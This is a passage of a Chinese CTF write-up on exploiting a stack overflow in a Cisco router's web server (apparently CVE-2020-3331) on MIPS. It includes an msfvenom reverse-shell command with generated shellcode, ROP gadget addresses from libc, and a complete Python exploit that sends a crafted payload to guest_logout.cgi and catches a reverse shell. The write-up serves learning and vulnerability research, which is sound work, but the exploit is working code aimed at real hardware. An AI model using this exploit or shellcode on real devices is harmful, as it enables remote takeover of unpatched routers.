原因我也不知道为什么,如果要猜测一下,加载动态库到内存里的是ld.so,当randomize_va_space为1时,brk系统调用分配的地址仍然没有随机,难道是这个ld采用brk让动态库加载到内存中?测试将randomize_va_space,改为2,然后重启httpd程序,libc基址仍然没变:

$ cat /proc/sys/kernel/randomize_va_space
2
$ ps | grep httpd
  556 admin      6284 S   httpd 
  844 admin      6344 S   /usr/sbin/httpd -S 
$ cat /proc/844/maps | grep libc
2af98000-2afef000 r-xp 00000000 1f:02 986        /lib/libc.so.0
2b02f000-2b030000 r--p 00057000 1f:02 986        /lib/libc.so.0

故之前的猜测不对。测试其他程序,结果是不同程序启动起来的进程libc基址不同,但如果是同一个二进制程序,则启动起来的进程libc基址一直相同。问了常老师,再次猜测可能是为了效率,编译的时候就把内核的这个功能干掉了,或者当前平台压根就不支持这个功能。先存疑,总之我们发现动态库的基址都是不变的,故我们可以使用程序加载的动态库中的gadget。

shellcode

shellcode一般来说可以使用以下三种方式生成或者找到:

  1. msfvenom
  2. shell-storm
  3. pwntools

总的来说还是:msf更方便好用,并且非常稳。shell-storm找到的种类多,不过偶尔需要手动修改。最后对于真实设备的利用上pwntools会有很多的问题,所以这里不推荐使用pwntools生成shellcode。使用msfvenom生成方法如下:

  msfvenom -p linux/mipsle/shell_reverse_tcp  LHOST=192.168.1.100 LPORT=8888 --arch mipsle --platform linux -f py -o shellcode.py 
  cat shellcode.py 
buf =  b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x64\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"

另外可以在shell-storm上找到:Linux/mips - Reverse Shell Shellcode - 200 bytes by Jacob Holcomb(需要自行修改回连的IP地址)

发现这两个shellcode都是不带00并且满足要求的,如果用pwntools可以直接生成mips平台的shellcode,这个shellcode中是否直接满足没有00呢?答:是存在的00的。

from pwn import *
context(arch='mips',os='linux',endian='little')
shellcode = shellcraft.mips.linux.connect('192.168.1.100',9999)+shellcraft.mips.linux.dupsh()
if "\x00" in asm(shellcode):
    print "NULL byte"

尝试使用pwntools中自带的encode函数去避免00:

from pwn import *
context(arch='mips',os='linux',endian='little')
shellcode = shellcraft.mips.linux.connect('192.168.1.100',9999)+shellcraft.mips.linux.dupsh()
encode(asm(shellcode),avoid='\x00')

但是发现其实不支持mips平台的:

pwnlib.exception.PwnlibException: No encoders for mips which can avoid \x00 for
00000000  fd ff 19 24  27 20 20 03  ff ff 06 28  57 10 02 34  │···$│'  ·│···(│W··4│
00000010  fc ff a4 af  fc ff a5 8f  0c 01 01 01  fc ff a2 af  │····│····│····│····│
00000020  fc ff b0 8f  d8 f0 19 3c  fd ff 39 37  27 48 20 03  │····│···<│··97│'H ·│
00000030  f8 ff a9 af  01 64 09 3c  c0 a8 29 35  fc ff a9 af  │····│·d·<│··)5│····│
00000040  f8 ff bd 27  fc ff b0 af  fc ff a4 8f  20 28 a0 03  │···'│····│····│ (··│
00000050  ef ff 19 24  27 30 20 03  4a 10 02 34  0c 01 01 01  │···$│'0 ·│J··4│····│
00000060  fc ff b0 af  fc ff a4 8f  c9 0f 02 34  0c 01 01 01  │····│····│···4│····│
00000070  62 69 09 3c  2f 2f 29 35  f4 ff a9 af  73 68 09 3c  bi·<//)5│····│sh·<
00000080  6e 2f 29 35  f8 ff a9 af  fc ff a0 af  f4 ff bd 27  n/)5│····│····│···'│
00000090  20 20 a0 03  fc ff a0 af  fc ff bd 27  ff ff 06 28  │  ··│····│···'│···(
000000a0  fc ff a6 af  fc ff bd 23  20 30 a0 03  73 68 09 34  │····│···#│ 0··│sh·4│
000000b0  fc ff a9 af  fc ff bd 27  ff ff 05 28  fc ff a5 af  │····│···'│···(│····│
000000c0  fc ff bd 23  fb ff 19 24  27 28 20 03  20 28 bd 00  │···#│···$│'( ·│ (··│
000000d0  fc ff a5 af  fc ff bd 23  20 28 a0 03  ab 0f 02 34  │····│···#│ (··│···4│
000000e0  0c 01 01 01                                         │····││
000000e4

故这里为了方便,不建议使用pwntools。

ret2libc

虽然程序加载了非常多的动态库,不过这里我们仍然使用比较熟悉的libc,在文件系统中可以找到对应的文件:/lib/libc.so.0,同样使用mipsrop找到可用的gadget。这里使用如下的两个gadget进行利用,将shellcode放到栈顶+0x18地址处,然后把这个地址放到a0寄存器里,并通过s0寄存器的使用下一个gadget,最终跳转到a0寄存区所存的shellcode地址处即可完成利用

Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x000257A0  |  addiu $a0,$sp,0x38+var_20                           |  jalr  $s0                             |
----------------------------------------------------------------------------------------------------------------

Python>mipsrop.find("mov $t9,$a0")
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x0003D050  |  move $t9,$a0                                        |  jalr  $a0                             |
----------------------------------------------------------------------------------------------------------------

在调试过程可以断到gadget,以及加载libc符号,如果觉得每次敲gdb命令比较繁琐,可以将gdb的命令保存成文件,然后在使用gdb-multiarch通过-x选项直接通过文件加载命令:

➜  cat gdb.cmd 
set architecture mips
set endian little
b * 0x2afbd7a0
add-symbol-file libc.so.0 0x2af98000
target remote 192.168.1.1:1234
➜  gdb-multiarch httpd -x ./gdb.cmd

因为是shell回连,所以想在一个脚本里优雅的完成整个流程,所以起一个线程去攻击,主线程开个端口等待回连。pwntools是有wait_for_connection这个功能的。shellcode用的是:Linux/mips - Reverse Shell Shellcode - 200 bytes by Jacob Holcomb,回连地址修改成了192.168.1.100,端口仍是31337。完整exp如下:

from pwn import *
import thread,requests
context(arch='mips',endian='little',os='linux')
io     = listen(31337)
libc   = 0x2af98000
jmp_a0 = libc + 0x0003D050  # move  $t9,$a0             ; jalr  $a0
jmp_s0 = libc + 0x000257A0  # addiu $a0,$sp,0x38+var_20 ; jalr  $s0 

shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
shellcode += "\xf8\xff\xa5\xaf\x01\x64\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

payload = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+0x20*'a'+p32(jmp_s0)+0x18*'a'+shellcode
paramsPost = {"cmac":"12:af:aa:bb:cc:dd","submit_button":payload,"cip":"192.168.1.100"}

def attack():
    try: requests.post("https://192.168.1.1/guest_logout.cgi", data=paramsPost, verify=False,timeout=1)
    except: pass

thread.start_new_thread(attack,())
io.wait_for_connection()
log.success("getshell")
io.interactive()

栈迁移

另外据说还可以使用栈迁移绕过00,还没有学会,先占位。

后续确认

后续确认此洞应该为CVE-2020-3331,原因如下:

  1. 后续在RV130W中发现一模一样的洞,现已修补:在针对零售商的CMX软件中发现了十分严重的Cisco漏洞
  2. CVE-2020-3331的细节中说明并未影响RV130W,且此洞在其当时最新版本仍然存在,故这个ssanf格串的洞应该就是CVE-2020-3331

相关文章

赛后还有其他人也写了关于此题或此设备的文章:

发现一个老外在持续研究这个系列的思科设备,并且在赛后也公开了这次栈溢出这个点:

致谢&存疑

比赛时没做出来这题,的确是自己的原因,用了bindiff但是没有找到点,当然即使找到点,会用MIPS的ROP也不会发现libc的基址不变,肯定会一头扎进怎么泄露libc去了。赛后在4哥h4lo的提示下知道了libc基址没变这事,做出来了这题。其实之前写的MIPS题目也是4哥在HWS夏令营教我们的,所以我的MIPS技能点真的完全是4哥传授的啊,必须谢谢我4哥。这次西湖论剑大家都比较忙活,没顾上请你吃饭,下次补上,立帖为证!另外还有部分问题没有解决或者没有动手尝试,留此记录:

  1. 动态库基址
  2. 栈迁移
  3. MIPS的cache使用sleep(1)
  4. 如果设备没有开启telnet,怎么调试?
  5. 将此exp集成到msf中